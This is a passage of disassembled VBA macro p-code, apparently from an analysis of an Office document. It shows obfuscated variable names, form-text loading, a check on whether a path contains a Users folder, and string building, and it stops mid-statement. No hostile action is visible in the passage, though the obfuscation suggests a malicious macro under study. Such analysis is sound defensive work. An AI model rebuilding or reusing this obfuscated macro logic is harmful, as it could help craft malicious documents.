' 	LitStr 0x0005 "ext10"
' 	Add 
' 	ArgsLd Port 0x0002 
' 	St TVT10 
' Line #116:
' 	Ld CONT 
' 	LitStr 0x0006 "text20"
' 	ArgsLd Port 0x0002 
' 	St TVT20 
' Line #117:
' 	Ld CONT 
' 	LitStr 0x0006 "text21"
' 	ArgsLd Port 0x0002 
' 	St TVT21 
' Line #118:
' 	Ld CONT 
' 	LitStr 0x0006 "text30"
' 	ArgsLd Port 0x0002 
' 	St TVT30 
' Line #119:
' 	Ld CONT 
' 	LitStr 0x0006 "text31"
' 	ArgsLd Port 0x0002 
' 	St TVT31 
' Line #120:
' 	Ld CONT 
' 	LitStr 0x0006 "stext1"
' 	ArgsLd Port 0x0002 
' 	St XPT1 
' Line #121:
' 	Ld CONT 
' 	LitStr 0x0006 "stext2"
' 	ArgsLd Port 0x0002 
' 	St XPT2 
' Line #122:
' 	Ld CONT 
' 	LitStr 0x0006 "stext3"
' 	ArgsLd Port 0x0002 
' 	St XPT3 
' Line #123:
' Line #124:
' Line #125:
' 	Ld NUWDHUQHUQWDH 
' 	Ld Module4 
' 	ArgsMemLd Goabc 0x0001 
' 	St WVR 
' Line #126:
' 	Ld WVR 
' 	LitStr 0x0005 "sers\"
' 	FnInStr 
' 	St hufehu1 
' Line #127:
' Line #128:
' 	Dim 
' 	VarDefn hudhw (As Integer)
' Line #129:
' 	Dim 
' 	LitDI2 0x0001 
' 	LitDI2 0x0003 
' 	VarDefn ghdAdd
' Line #130:
' 	LitStr 0x0001 "1"
' 	LitDI2 0x0001 
' 	ArgsSt ghdAdd 0x0001 
' Line #131:
' 	LitStr 0x0001 "0"
' 	LitDI2 0x0002 
' 	ArgsSt ghdAdd 0x0001 
' Line #132:
' 	LitStr 0x0001 "0"
' 	LitDI2 0x0003 
' 	ArgsSt ghdAdd 0x0001 
' Line #133:
' Line #134:
' 	Ld hufehu1 
' 	LitDI2 0x0000 
' 	Ne 
' 	Paren 
' 	IfBlock 
' Line #135:
' 	LitStr 0x0001 "2"
' 	LitDI2 0x0001 
' 	ArgsSt ghdAdd 0x0001 
' Line #136:
' 	ElseBlock 
' Line #137:
' 	LitStr 0x0001 "3"
' 	LitDI2 0x0002 
' 	ArgsSt ghdAdd 0x0001 
' Line #138:
' 	EndIfBlock 
' Line #139:
' Line #140:
' Line #141:
' 	Ld ghdAdd 
' 	ArgsLd Join 0x0001 
' 	St JHWQUD 
' Line #142:
' 	Ld JHWQUD 
' 	ArgsLd Val 0x0001 
' 	St hudhw 
' Line #143:
' Line #144:
' 	LitDI2 0x0001 
' 	Paren 
' 	Ld Module4 
' 	ArgsMemCall WaitFor 0x0001 
' Line #145:
' Line #146:
' 	Ld PHT 
' 	Ld STT1 
' 	Add 
' 	Ld LNSS 
' 	Add 
' 	St MIWDWQ 
' Line #147:
' 	Ld HQUWDAAA 
' 	LitStr 0x0001 "1"
' 	Eq 
' 	Paren 
' 	IfBlock 
' Line #148:
' 	Ld PHT 
' 	Ld STT2 
' 	Add 
' 	Ld LNSS 
' 	Add 
…